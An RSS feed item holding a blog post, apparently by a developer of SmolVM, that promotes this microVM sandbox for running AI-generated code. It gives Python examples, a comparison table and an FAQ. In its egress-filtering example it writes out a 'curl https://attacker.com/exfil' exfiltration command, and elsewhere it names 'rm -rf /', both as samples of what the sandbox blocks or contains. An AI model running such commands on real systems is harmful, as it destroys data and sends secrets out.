<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Aniket Maurya</title>
    <description>The latest articles on Forem by Aniket Maurya (@aniketmaurya).</description>
    <link>https://forem.com/aniketmaurya</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F274492%2F32b0da35-e0ea-43d3-945f-e44ee4dd94de.jpg</url>
      <title>Forem: Aniket Maurya</title>
      <link>https://forem.com/aniketmaurya</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/aniketmaurya"/>
    <language>en</language>
    <item>
      <title>How to Safely Run AI-Generated Code with SmolVM (Open-Source MicroVM Sandbox)</title>
      <dc:creator>Aniket Maurya</dc:creator>
      <pubDate>Tue, 21 Apr 2026 01:47:43 +0000</pubDate>
      <link>https://forem.com/aniketmaurya/how-to-safely-run-ai-generated-code-with-smolvm-open-source-microvm-sandbox-2coo</link>
      <guid>https://forem.com/aniketmaurya/how-to-safely-run-ai-generated-code-with-smolvm-open-source-microvm-sandbox-2coo</guid>
      <description>&lt;p&gt;Your AI agent just wrote some Python. Do you feel good about running it on your laptop?&lt;/p&gt;

&lt;p&gt;If the answer is "not really" — you're not alone. Every team building agents eventually hits the same wall: &lt;strong&gt;LLM-generated code is the new untrusted input&lt;/strong&gt;, and most of the tooling we reach for (Docker, subprocess, &lt;code&gt;exec&lt;/code&gt;) wasn't built for it.&lt;/p&gt;

&lt;p&gt;We built &lt;a href="https://github.com/CelestoAI/SmolVM" rel="noopener noreferrer"&gt;SmolVM&lt;/a&gt; to fix this. It's an open-source, Firecracker-backed microVM sandbox that gives AI agents their own disposable computer — boots in under a second, isolated at the hardware level, and disappears when the agent is done.&lt;/p&gt;

&lt;p&gt;In this post I'll walk through:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Why running AI-generated code in Docker is a bad idea&lt;/li&gt;
&lt;li&gt;What microVMs give you that containers don't&lt;/li&gt;
&lt;li&gt;A SmolVM quickstart (three lines of Python)&lt;/li&gt;
&lt;li&gt;Real use cases: coding agents, browser agents, and giving an agent access to your repo&lt;/li&gt;
&lt;li&gt;How SmolVM compares to Docker, E2B, and firecracker-containerd&lt;/li&gt;
&lt;li&gt;FAQ&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let's get into it.&lt;/p&gt;




&lt;h2&gt;
  
  
  The problem: LLM-generated code is untrusted input
&lt;/h2&gt;

&lt;p&gt;Any team shipping coding agents, app builders, design-to-code tools, or workflow automation eventually needs to execute code the model wrote. That code might:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;rm -rf&lt;/code&gt; something you care about&lt;/li&gt;
&lt;li&gt;Exfiltrate secrets from your environment&lt;/li&gt;
&lt;li&gt;Make outbound calls to an attacker-controlled server&lt;/li&gt;
&lt;li&gt;Install a dependency that does any of the above&lt;/li&gt;
&lt;li&gt;Pin a CPU at 100% and melt your host&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Even if the model is well-aligned, prompt injection from tool outputs, web pages, or pasted documents can redirect it. The right mental model: &lt;strong&gt;treat every code suggestion as if it came from a random person on the internet&lt;/strong&gt;, because effectively it did.&lt;/p&gt;

&lt;p&gt;That means you need a sandbox. And this is where most teams reach for Docker — which is where the trouble starts.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Docker isn't enough for AI agent sandboxes
&lt;/h2&gt;

&lt;p&gt;Containers are great for packaging and deployment. They're not a security boundary you want to bet on for untrusted code execution.&lt;/p&gt;

&lt;p&gt;Here's the core issue: &lt;strong&gt;containers share the host kernel&lt;/strong&gt;. A process inside a container is just a normal Linux process with some namespaces and cgroups wrapped around it. If the kernel has a privilege-escalation bug (and new ones ship every year), a container escape becomes a host compromise. &lt;code&gt;runc&lt;/code&gt; CVEs are a regular occurrence. The attack surface is enormous.&lt;/p&gt;

&lt;p&gt;MicroVMs take a different approach: a real hypervisor, a real guest kernel, and a hardware virtualization boundary (Intel VT-x, AMD-V, ARM virtualization extensions) between the agent's code and your host. The attack surface shrinks dramatically.&lt;/p&gt;

&lt;p&gt;The tradeoff used to be speed — full VMs took 30+ seconds to boot, which is unusable for ephemeral agent sandboxes. &lt;a href="https://firecracker-microvm.github.io/" rel="noopener noreferrer"&gt;Firecracker&lt;/a&gt; (the microVM that powers AWS Lambda and Fargate) solved that problem. MicroVMs now boot in &lt;strong&gt;under 500ms&lt;/strong&gt;, which makes them practical for per-request isolation.&lt;/p&gt;

&lt;p&gt;SmolVM wraps Firecracker (on Linux) and QEMU (on macOS) in a clean Python API so you don't have to deal with TAP devices, rootfs images, or vsock by hand.&lt;/p&gt;




&lt;h2&gt;
  
  
  SmolVM quickstart
&lt;/h2&gt;

&lt;p&gt;Install SmolVM with a single command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-sSL&lt;/span&gt; https://celesto.ai/install.sh | bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This installs everything you need (including Python), configures your machine, and verifies the setup.&lt;/p&gt;



&lt;p&gt;Manual installation&lt;/p&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;smolvm
smolvm setup
smolvm doctor
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Spin up a sandbox and run a command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;smolvm&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;SmolVM&lt;/span&gt;

&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nc"&gt;SmolVM&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;echo &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Hello from the sandbox!&lt;/span&gt;&lt;span class="sh"&gt;'"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's it. You now have a hardware-isolated VM with its own kernel, its own filesystem, and its own network namespace — and it'll clean itself up when the &lt;code&gt;with&lt;/code&gt; block exits.&lt;/p&gt;




&lt;h2&gt;
  
  
  Real use case #1: Execute LLM-generated code safely
&lt;/h2&gt;

&lt;p&gt;This is the pattern most coding agents need. The model produces a shell command or a Python snippet, and you need to run it without putting your machine at risk.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;smolvm&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;SmolVM&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;execute_code_in_sandbox&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Tool the agent can call to run shell code safely.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nc"&gt;SmolVM&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stdout&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit_code&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stderr&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Wire this up as a tool in your agent framework (LangChain, &lt;a href="https://github.com/CelestoAI/agentor" rel="noopener noreferrer"&gt;Agentor&lt;/a&gt;, whatever you use), and the agent now has a &lt;code&gt;bash&lt;/code&gt; tool that is safe to expose. Even if it runs &lt;code&gt;rm -rf /&lt;/code&gt;, the blast radius is a VM that's about to be thrown away anyway.&lt;/p&gt;




&lt;h2&gt;
  
  
  Real use case #2: Multi-turn sessions with persistent state
&lt;/h2&gt;

&lt;p&gt;For agents that install dependencies, build projects, or iterate over multiple turns, you want the VM to stick around. SmolVM supports this with explicit lifecycle control and the ability to reconnect by ID:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;smolvm&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;SmolVM&lt;/span&gt;

&lt;span class="n"&gt;vm&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;SmolVM&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;# Set up the environment
&lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;pip install requests pandas&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Later in the conversation
&lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;python analysis.py&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Reconnect from a different process
&lt;/span&gt;&lt;span class="n"&gt;vm_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;
&lt;span class="c1"&gt;# ... hours later ...
&lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;SmolVM&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;from_id&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vm_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can also inject environment variables (persisted to &lt;code&gt;/etc/profile.d/&lt;/code&gt; inside the VM) for API keys and configuration:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nc"&gt;SmolVM&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set_env_vars&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;API_KEY&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sk-...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;DEBUG&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;echo $API_KEY&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Real use case #3: Give the agent a browser
&lt;/h2&gt;

&lt;p&gt;Browser-using agents need a full browser session they can see and control. Running Chrome on the host is messy — it touches your cookies, your extensions, your logged-in sessions. Running it in a sandboxed VM is clean:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nc"&gt;SmolVM&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="c1"&gt;# Start a full browser inside the VM
&lt;/span&gt;    &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;google-chrome --remote-debugging-port=9222 &amp;amp;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Expose the DevTools port to the host
&lt;/span&gt;    &lt;span class="n"&gt;host_port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;expose_local&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;guest_port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;9222&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;host_port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;19222&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# Now connect Playwright/Puppeteer to http://localhost:19222
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The agent gets a real browser. Your host stays untouched.&lt;/p&gt;




&lt;h2&gt;
  
  
  Real use case #4: Let the agent read your repo (read-only)
&lt;/h2&gt;

&lt;p&gt;For coding agents that need to understand an existing codebase, you can mount a host directory &lt;strong&gt;read-only&lt;/strong&gt; so the agent can explore without being able to modify anything:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nc"&gt;SmolVM&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host_mounts&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/Users/me/my-repo&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/workspace&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ro&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)])&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="c1"&gt;# Agent can read but not write
&lt;/span&gt;    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ls /workspace&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cat /workspace/README.md&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is how you get the benefits of Cursor-style codebase awareness without trusting the agent (or a prompt-injected dependency) with write access to your project.&lt;/p&gt;




&lt;h2&gt;
  
  
  Real use case #5: Egress filtering
&lt;/h2&gt;

&lt;p&gt;A common exfiltration vector for malicious LLM output is "send data to attacker.com". SmolVM ships with domain allowlisting so the VM can only reach the hosts you explicitly permit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nc"&gt;SmolVM&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;allow_hosts&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;api.openai.com&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;pypi.org&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="c1"&gt;# These work
&lt;/span&gt;    &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;pip install requests&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# This silently fails — attacker.com isn't on the list
&lt;/span&gt;    &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;curl https://attacker.com/exfil&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the model writes code that tries to phone home, the network stack says no.&lt;/p&gt;




&lt;h2&gt;
  
  
  SmolVM vs Docker vs other sandboxes
&lt;/h2&gt;

&lt;p&gt;Here's how SmolVM stacks up against the options most teams consider:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;Docker / containers&lt;/th&gt;
&lt;th&gt;SmolVM&lt;/th&gt;
&lt;th&gt;E2B (hosted)&lt;/th&gt;
&lt;th&gt;firecracker-containerd&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Isolation boundary&lt;/td&gt;
&lt;td&gt;Shared kernel&lt;/td&gt;
&lt;td&gt;Hardware (KVM/Firecracker)&lt;/td&gt;
&lt;td&gt;Hardware (Firecracker)&lt;/td&gt;
&lt;td&gt;Hardware (Firecracker)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Boot time&lt;/td&gt;
&lt;td&gt;~100ms&lt;/td&gt;
&lt;td&gt;~500ms&lt;/td&gt;
&lt;td&gt;~150ms (hosted)&lt;/td&gt;
&lt;td&gt;~500ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Runs on your infra&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;❌ (their cloud)&lt;/td&gt;
&lt;td&gt;✅ (complex setup)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Python SDK&lt;/td&gt;
&lt;td&gt;via Docker SDK&lt;/td&gt;
&lt;td&gt;✅ native&lt;/td&gt;
&lt;td&gt;✅ native&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;macOS support&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅ (QEMU)&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Host directory mounts&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;Limited&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Domain allowlisting&lt;/td&gt;
&lt;td&gt;Manual&lt;/td&gt;
&lt;td&gt;✅ built-in&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;Manual&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Snapshots&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Open source&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅ (Apache 2.0)&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Price&lt;/td&gt;
&lt;td&gt;Free&lt;/td&gt;
&lt;td&gt;Free&lt;/td&gt;
&lt;td&gt;Per-sandbox&lt;/td&gt;
&lt;td&gt;Free&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;If you want a hosted sandbox and don't mind a per-request cost, E2B is a great product. If you want to run sandboxes &lt;strong&gt;on your own infrastructure&lt;/strong&gt; (for cost, privacy, VPC requirements, or regulated-industry compliance), SmolVM is the option that gets you there without wiring up firecracker-containerd by hand.&lt;/p&gt;




&lt;h2&gt;
  
  
  Performance
&lt;/h2&gt;

&lt;p&gt;The whole reason microVMs are viable for agent workloads is boot speed. On an AMD Ryzen 7 7800X3D (8C/16T) running Ubuntu with the Firecracker backend, we measure p50 VM lifecycle timings in the sub-second range — fast enough to create a fresh sandbox per agent turn if you want to.&lt;/p&gt;

&lt;p&gt;In practice, most teams reuse VMs across a single conversation and recycle them between sessions. With snapshots, you can pre-warm a VM with a specific set of dependencies and restore from that snapshot in milliseconds — effectively free sandbox creation.&lt;/p&gt;




&lt;h2&gt;
  
  
  Who this is for
&lt;/h2&gt;

&lt;p&gt;SmolVM is useful if you're building:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Coding agents&lt;/strong&gt; (Cursor/Devin/Claude Code-style products) that need to execute code&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;App builders and design-to-code tools&lt;/strong&gt; that compile and run generated projects&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Workflow automation platforms&lt;/strong&gt; (n8n, Zapier-style) where users write code nodes&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Research and data-analysis agents&lt;/strong&gt; that run untrusted Python&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Browser-using agents&lt;/strong&gt; that need a clean, disposable browser session&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Any LLM product&lt;/strong&gt; where the model's output might be executed on a machine you care about&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If the model's output ever touches a shell, a Python interpreter, or a browser, you want a sandbox between it and your host.&lt;/p&gt;




&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Why not just use Docker for AI agent sandboxes?
&lt;/h3&gt;

&lt;p&gt;Docker containers share the host kernel. A kernel exploit or container-escape CVE becomes a full host compromise. For AI-generated code — which is effectively untrusted input — you want a hypervisor boundary between the code and your host. MicroVMs give you that, and modern microVMs boot fast enough to use per-request.&lt;/p&gt;

&lt;h3&gt;
  
  
  How is SmolVM different from E2B?
&lt;/h3&gt;

&lt;p&gt;E2B is a hosted sandbox service — you pay per sandbox and it runs on their infrastructure. SmolVM is open source and runs on your own machine or your own cloud, which matters if you care about data privacy, egress cost, VPC deployment, or regulated-industry compliance (fintech, health tech, legal tech). Both use Firecracker under the hood on Linux.&lt;/p&gt;

&lt;h3&gt;
  
  
  Does SmolVM work on macOS?
&lt;/h3&gt;

